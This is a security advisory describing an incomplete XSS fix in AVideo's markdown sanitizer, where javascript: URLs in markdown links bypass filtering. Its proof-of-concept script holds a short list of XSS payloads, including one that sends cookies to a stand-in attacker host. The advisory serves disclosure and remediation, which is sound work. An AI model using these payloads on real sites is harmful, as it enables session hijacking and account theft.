Incomplete fix for CVE-2026-33500: XSS in AVideo

Moderate **DanielnetoDotCom** published **GHSA-m7r8-6q9j-m2hc** last week

Software

AVideo

Affected versions

< commit 3ae02fa24093

Patched versions

>= commit 3ae02fa24093

Description

Summary

The incomplete XSS fix in AVideo's `ParsedownSafeWithLinks` class overrides `inlineMarkup` for raw HTML but does not override `inlineLink()` or `inlineUrlTag()`, allowing `javascript:` URLs in markdown link syntax to bypass sanitization.

Affected Package

- **Ecosystem:** Other
- **Package:** AVideo
- **Affected versions:** < commit `3ae02fa`
- **Patched versions:** >= commit `3ae02fa`

Severity

Medium

CWE

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Details

In `objects/functionsSecurity.php`, the `ParsedownSafeWithLinks` class:

- Overrides `blockMarkup()` -- blocks non-`<a>`/`<img>` HTML tags
- Overrides `inlineMarkup()` -- sanitizes `<a href=...>` and `<img src=...>` in raw HTML, including an href whitelist

But the base `Parsedown.php` class has two additional methods that generate `<a>` tags:

- `inlineLink()` (line ~1388) -- processes `[text](url)` markdown syntax, sets `href` = URL directly
- `inlineUrlTag()` (line ~1558) -- processes `<URL>` auto-link syntax, sets `href` = URL directly

Neither is overridden by `ParsedownSafeWithLinks`, so `[Click me](javascript:alert(document.cookie))` produces `<a href="javascript:alert(document.cookie)">Click me</a>` without any sanitization.

The fix sanitizes raw HTML `<a>` tags via `inlineMarkup` but misses the markdown-native link syntax (`[text](url)`) and auto-link syntax (`<url>`) which produce `<a>` tags through different code paths in the base Parsedown class.

PoC

```
"""
CVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks

Tests REAL vulnerable code from:
  objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa)
  vendor/erusev/parsedown/Parsedown.php

The ParsedownSafeWithLinks class overrides:
  - blockMarkup (blocks non-a/img HTML)
  - inlineMarkup (sanitizes <a> and <img> inline HTML)
  - inlineLink is NOT overridden (markdown [text](url) syntax)

But the base Parsedown class has inlineLink() at line 1388 which creates
<a href="URL"> from markdown [text](url) without any href sanitization.
Since ParsedownSafeWithLinks does NOT override inlineLink(), a malicious
javascript: URL in markdown link syntax passes through unsanitized.

Additionally, inlineUrlTag() at line 1558 handles <URL> auto-link syntax
and creates <a href="URL"> without sanitization either.
"""

import re
import sys
import os

src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')

parsedown_src = open(os.path.join(src_dir, 'Parsedown.php')).read()
security_src = open(os.path.join(src_dir, 'functionsSecurity.php')).read()
```

```
print("=" * 60)
print("CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC")
print("=" * 60)
print()

has_class = 'ParsedownSafeWithLinks' in security_src
has_block_markup = 'function blockMarkup' in security_src
has_inline_markup = 'function inlineMarkup' in security_src
has_inline_link_override = 'function inlineLink' in security_src
has_inline_url_tag_override = 'function inlineUrlTag' in security_src

base_has_inline_link = 'function inlineLink' in parsedown_src
base_has_inline_url_tag = 'function inlineUrlTag' in parsedown_src

print("[*] ParsedownSafeWithLinks class found: " + str(has_class))
print("[*] Overrides blockMarkup: " + str(has_block_markup))
print("[*] Overrides inlineMarkup: " + str(has_inline_markup))
print("[*] Overrides inlineLink: " + str(has_inline_link_override))
print("[*] Overrides inlineUrlTag: " + str(has_inline_url_tag_override))
print()
print("[*] Base Parsedown has inlineLink: " + str(base_has_inline_link))
print("[*] Base Parsedown has inlineUrlTag: " + str(base_has_inline_url_tag))
print()

if not has_inline_link_override and base_has_inline_link:
    print("[+] BYPASS FOUND: inlineLink NOT overridden!")
    print("    Markdown syntax [text](javascript:...) bypasses sanitization")
    print()

if not has_inline_url_tag_override and base_has_inline_url_tag:
    print("[+] BYPASS FOUND: inlineUrlTag NOT overridden!")
    print("    Auto-link syntax <javascript:...> bypasses sanitization")
    print()

def simulate_parsedown_inline_link(markdown_text):
    match = re.match(r'\[([^\]]*)\]\(([^)]+)\)', markdown_text)
    if match:
        text = match.group(1)
        href = match.group(2)
        return f'<a href="{href}">{text}</a>'
    return None

payloads = [
    "[Click me](javascript:alert(document.cookie))",
    "[XSS](javascript:fetch('https://evil.com/steal?c='+document.cookie))",
    "[Data URI](data:text/html,<script>alert(1)</script>)",
    "[VBScript](vbscript:MsgBox(1))",
]

vuln_count = 0
print("[*] Testing markdown link payloads through base inlineLink():")
print()
for payload in payloads:
    result = simulate_parsedown_inline_link(payload)
    if result and ('javascript:' in result or 'data:' in result or 'vbscript:' in result
```

```
            print(f"    BYPASS: {payload}")
            print(f"    Output: {result}")
            vuln_count += 1
        else:
            print(f"    BLOCKED: {payload}")
        print()

print()
if vuln_count > 0 and not has_inline_link_override:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)
```

Steps to reproduce:

1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`
2. `cd /tmp/AVideo_test && git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1`
3. `python3 poc.py`

Expected output:

```
VULNERABILITY CONFIRMED
javascript: URLs in markdown [text](url) link syntax bypass sanitization since
inlineLink() is not overridden.
```

Impact

An attacker can inject `javascript:` URLs via markdown link syntax in any user-generated content field that uses `ParsedownSafeWithLinks` (comments, descriptions, etc.). When another user clicks the rendered link, the attacker's JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft.

Suggested Remediation

Override `inlineLink()` and `inlineUrlTag()` in `ParsedownSafeWithLinks` to apply the same `href` protocol whitelist (`https?://` , `mailto:` , `/` , `#`) that `inlineMarkup` already applies to raw HTML `<a>` tags. Reject any href that does not match the whitelist.

References

- Incomplete fix commit: `3ae02fa`
- Original CVE: CVE-2026-33500

Severity

Moderate

CVE ID

CVE-2026-41063

Weaknesses

▶ CWE-79